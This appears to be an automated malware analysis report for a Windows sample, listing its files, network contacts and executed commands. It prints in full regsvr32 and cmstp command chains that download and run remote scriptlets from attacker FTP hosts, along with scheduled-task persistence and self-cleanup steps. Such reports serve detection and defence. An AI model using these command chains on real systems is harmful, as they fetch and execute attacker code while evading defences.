Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googlevgubf
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\regsvr32.exe' /u /n /s /i:ftp://su#####qdux.botxxe.com/onedrive/fozvsrtk.psd scrobj.dll
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\nettrace\autocheck.ini
- <Current directory>\93631000
Substitutes the following files
- <PATH_SAMPLE>.xls
Deletes itself.
Network activity
Connects to
- 'qd##.botxxe.com':21
- 'qd##.botxxe.com':64283
- 'ab##.#onestacks.com':21
- 'ab##.#onestacks.com':54033
- 'uv##.#onestacks.com':443
- 'x1.#.lencr.org':80
TCP
Other
- 'qd##.botxxe.com':21
- 'ab##.#onestacks.com':21
- 'ab##.#onestacks.com':443
UDP
- DNS ASK qd##.botxxe.com
- DNS ASK ab##.#onestacks.com
- DNS ASK uv##.#onestacks.com
- DNS ASK x1.#.lencr.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\regsvr32.exe' /u /n /s /i:ftp://su#####qdux.botxxe.com/onedrive/fozvsrtk.psd scrobj.dll' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo ShortSvcName=" ">>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo ServiceName=" ">>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo [Strings]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo %11%\scrobj.dll,NI,ftp://mn######boy.zonestacks.com/onedrive/00750073006500720040007500750063006E0071006F006E00760069/ljvrvipy.tiff>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo [t2315k2q45]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo UnRegisterOCXs=t2315k2q45>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 13 /ST 14:52 /TN "Googlevgubf" /TR "cmstp.exe /s %ALLUSERSPROFILE%\NetTrace\AutoCheck.ini" /F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo [DefaultInstall_SingleUser]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo [version]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\NetTrace' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /A /Q %ALLUSERSPROFILE%\NetTrace&rmdir %ALLUSERSPROFILE%\NetTrace' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /s "%LOCALAPPDATA%\microsoft\windows\eylfpbnp*.png"' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Googleuxwhm" /f' (with hidden window)
- '<SYSTEM32>\regsvr32.exe' /u /n /s /i:ftp://mn######boy.zonestacks.com/onedrive/eylfpbnp.png scrobj.dll' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo Signature=$chicago$>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
- '<SYSTEM32>\cmstp.exe' /s %ALLUSERSPROFILE%\NetTrace\AutoCheck.ini' (with hidden window)
Executes the following
- '<SYSTEM32>\regsvr32.exe' /u /n /s /i:ftp://mn######boy.zonestacks.com/onedrive/eylfpbnp.png scrobj.dll
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 13 /ST 14:52 /TN "Googlevgubf" /TR "cmstp.exe /s %ALLUSERSPROFILE%\NetTrace\AutoCheck.ini" /F
- '<SYSTEM32>\cmd.exe' /c echo ShortSvcName=" ">>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo ServiceName=" ">>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo [Strings]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo %11%\scrobj.dll,NI,ftp://mn######boy.zonestacks.com/onedrive/00750073006500720040007500750063006E0071006F006E00760069/ljvrvipy.tiff>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo [t2315k2q45]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\taskeng.exe' {1C3876E9-0C4F-4DDC-BB19-4ED94895F768} S-1-5-21-1960123792-2022915161-3775307078-1001:uucnqonvi\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c echo UnRegisterOCXs=t2315k2q45>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo Signature=$chicago$>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c echo [version]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\NetTrace
- '<SYSTEM32>\cmd.exe' /c del /A /Q %ALLUSERSPROFILE%\NetTrace&rmdir %ALLUSERSPROFILE%\NetTrace
- '<SYSTEM32>\cmd.exe' /c del /s "%LOCALAPPDATA%\microsoft\windows\eylfpbnp*.png"
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Googleuxwhm" /f
- '<SYSTEM32>\cmd.exe' /c echo [DefaultInstall_SingleUser]>>%ALLUSERSPROFILE%\NetTrace\AutoCheck.ini
- '<SYSTEM32>\cmstp.exe' /s %ALLUSERSPROFILE%\NetTrace\AutoCheck.ini